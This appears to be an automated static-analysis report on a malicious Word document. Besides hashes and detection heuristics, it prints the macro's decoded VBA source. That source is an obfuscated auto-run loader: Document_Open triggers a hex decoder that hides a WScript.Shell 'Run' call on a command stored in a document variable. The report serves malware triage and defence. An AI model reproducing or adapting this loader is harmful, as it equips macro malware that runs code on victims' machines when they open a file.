Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ebc1a6b3de4bffc5…

MALICIOUS

Office (OLE)

36.0 KB Created: 2018-06-28 00:17:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: baa145fc29d17a8a8675168389103ea5 SHA-1: 5f36d9042b7d735b78e6ce4a2e9ac0b225347a33 SHA-256: ebc1a6b3de4bffc5ed6b636792b31f13ed9a31831e646757f963af5d17fe18ee
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains heavily obfuscated VBA macros, including an auto-exec loader that uses CreateObject and CallByName, indicative of a downloader or exploit execution. The Workbook_Open and Document_Open macros are triggered upon opening, suggesting an immediate execution attempt. The ClamAV detection name 'Xls.Malware.Valyria-6700361-0' further confirms its malicious nature, likely involving the execution of a secondary payload.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700361-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700361-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2628 bytes
SHA-256: badf664708f1c54c7dfdd2552651a8c38cb19956d8ae1d9bb8ab16fb87cea2aa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function CZXN() As String
Dim xxxCZXN As String
aCZXN = "536F5353532C535355515353535353318B1E4953535353857C8853305453533A2D3553842E5378424B453E4084535A9253535387531A385389533353533591536F5353536B53716E53"
Dim cxbCZXN = aCZXN
DimDimMsgBox (adc(aCZXN & myCZXN, 333))
End Function

Private Function UMDA() As String
Dim xxxUMDA As String
aUMDA = "536F5353532C535355515353535353318B1E4953535353857C8853305453533A2D3553842E5378424B453E4084535A9253535387531A385389533353533591536F5353536B53716E53"
Dim cxbUMDA = aUMDA
DimDimMsgBox (adc(aUMDA & myUMDA, 333))
End Function

Sub Workbook_Open()
    MORVZSNTX_
End Sub
Private Function SYEB() As String
Dim xxxSYEB As String
aSYEB = "536F5353532C535355515353535353318B1E4953535353857C8853305453533A2D3553842E5378424B453E4084535A9253535387531A385389533353533591536F5353536B53716E53"
Dim cxbSYEB = aSYEB
DimDimMsgBox (adc(aSYEB & mySYEB, 333))
End Function

Public Sub Document_Open()
    Application.Run Q_("86888B8F938C878D9198")
End Sub
Private Function PKPW() As String
Dim xxxPKPW As String
aPKPW = "536F5353532C535355515353535353318B1E4953535353857C8853305453533A2D3553842E5378424B453E4084535A9253535387531A385389533353533591536F5353536B53716E53"
Dim cxbPKPW = aPKPW
DimDimMsgBox (adc(aPKPW & myPKPW, 333))
End Function

Sub MORVZSNTX_()
    CallByName CreateObject(Q_("908C9CABA2A9AD678CA19EA5A5")), Q_("8BAEA7"), VbMethod, Q_(ActiveDocument.Variables("YBNWGN").Value), 0, True
End Sub
Private Function CGQJ() As String
Dim xxxCGQJ As String
aCGQJ = "536F5353532C535355515353535353318B1E4953535353857C8853305453533A2D3553842E5378424B453E4084535A9253535387531A385389533353533591536F5353536B53716E53"
Dim cxbCGQJ = aCGQJ
DimDimMsgBox (adc(aCGQJ & myCGQJ, 333))
End Function

Public Function Q_(ByVal G_ As String)
   Dim MF_ As String
   Dim BI_ As Long
   For BI_ = 1 To Len(G_) Step 2
        Dim CI_ As Long: CI_ = CLng(Chr(38) & Chr(72) & Mid(G_, BI_, 2))
        MF_ = MF_ & Chr(CI_ - 57)
   Next
   Q_ = MF_
End Function
Private Function RGOR() As String
Dim xxxRGOR As String
aRGOR = "536F5353532C535355515353535353318B1E4953535353857C8853305453533A2D3553842E5378424B453E4084535A9253535387531A385389533353533591536F5353536B53716E53"
Dim cxbRGOR = aRGOR
DimDimMsgBox (adc(aRGOR & myRGOR, 333))
End Function

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